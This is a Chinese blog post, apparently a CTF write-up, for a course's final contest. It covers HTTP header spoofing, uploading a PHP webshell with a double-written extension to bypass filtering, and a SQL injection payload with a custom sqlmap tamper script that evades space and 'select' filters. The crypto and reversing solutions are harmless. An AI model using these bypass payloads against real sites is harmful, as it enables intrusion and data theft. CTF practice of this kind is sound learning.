结业赛部分题解

结业赛题部分题解

签到题

是一个很简单的web签到题,查看网页源代码,发现里面注释了一段base64对其解码就是flag:

在这里插入图片描述

HTTP

打开题目有个提示一起闯关吧,进入题目发现说不是secdriver浏览器,使用浏览器伪造轻松绕过:User-Agent:secdriver,然后又说不是admin用户,发现请求头里有个admin=0,这应该就是判断是否为ADMIN用户的依据,将其置为1绕过,然后是说不是本地,通过伪造IP为127.0.0.1进行绕过,最后是必须是德国语言才能查看flag百度了一下为DE,后来发现主办方给出了提示:
在这里插入图片描述在这里插入图片描述

black_list

一道简单的文件上传的题目,首先上传了一句话木马,发现可以直接上传成功,但是通过通过查看源码的时候发现文件的后缀php没了,猜想应该是对php进行了过滤,利用双写进行绕过即可:1.pphphp,在通过中国菜刀等工具连接即可。
在这里插入图片描述# no_space
一道sql注入的题目,根据题目的提示想到了空格过滤使用/**/就可以绕过,然后发现对select也进行了过滤,可以使用双写进行绕过:selselectect:
1、手工注入最后的payload:

-1'/**/union/**/selselectect/**/1,group_concat(id,0x23,id,email_id),3/**/from/**/emails%23

2、使用sqlmap:

sqlmap.py -u  url/?id=0 -p id -v 3 --level=3 --tamper=doubleselect.py --tamper=space2comment.py --technique=U –current-db  --batch --flush-session

在这里插入图片描述temper绕过脚本:

#!/usr/bin/env python
'''
sqlmap 双写绕过
by:shadowwolf
'''
from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    payload= payload.lower()
    payload= payload.replace('select' , 'selselectect')
    retVal=payload
    return retVal

py

简单的加密算法,看懂其中的逻辑后就可以编写解题的脚本了,先解码,在进行字符串AScii-3:

import base64

c = 'aW9kan48NGlnPGY6aDA2ZGhoMDQ0aGYwOzZoMzA3N2RpNTtkOjg1NjrCgA=='

def x(string):
    return str(base64.b64decode(string.encode()).decode('utf-8'))
    pass

def y(string):
    r = ''
    for c in string:
        r += chr(ord(c)-3)
    return r
    pass

cipher = y(x(c))
print(cipher)

MD5

题目是MD5通,使用脚本暴力破解缺失字符,并确定进行MD5判断:

import hashlib
#flag{P7?Y0OG?0XPC?ZPK}
s1 = "flag{P7"
s2 = "Y0OG"
s3 = "0XPC"
s4 = "ZPK}"

str = ['0','1','2','3','4','5','6','7','8','9','0','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']
for i in str:
    for j in str:
        for k in str:
            flag = s1 + i + s2 + j + s3 + k + s4
            pre = hashlib.md5()
            pre.update(flag)
            md5 = str(pre.hexdigest())
            #9e86????007f??9a38???449a?0ea7cf
            if ('9e86' and '9a38' and '0ea7cf') in md5 :
                print md5
                print flag

Sprintf

查看程序是否加壳,然后通过IDA64位打开,找到main函数,读取伪代码:
在这里插入图片描述通过对伪代码的解读发现其flag就是flag(%s%s%s%s%s%s%s),编写解题脚本:

#include <stdio.h>

int main()
{
  long long int v16 = 95LL;
  long long int v17 = 0;
  long long int v14 = 1735290739LL;
  long long int v15 = 0;
  long long int v12 = 7234918LL;
  long long int v13 = 0;
  long long int v10 = 26990LL;
  long long int v11 = 0;
  long long int v8 = 444233509240LL;
  long long int v9 = 0;
  printf("flag{%s%s%s%s%s%s%s}", &v14, &v16, &v12, &v16, &v10, &v16, &v8);
}

在这里插入图片描述# 百度网盘
pyc文件,进行反编译py文件里有BV的提示,猜测是哔哩哔哩的视频号
访问后看到链接
在这里插入图片描述

MD5取哈希后就是flag

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值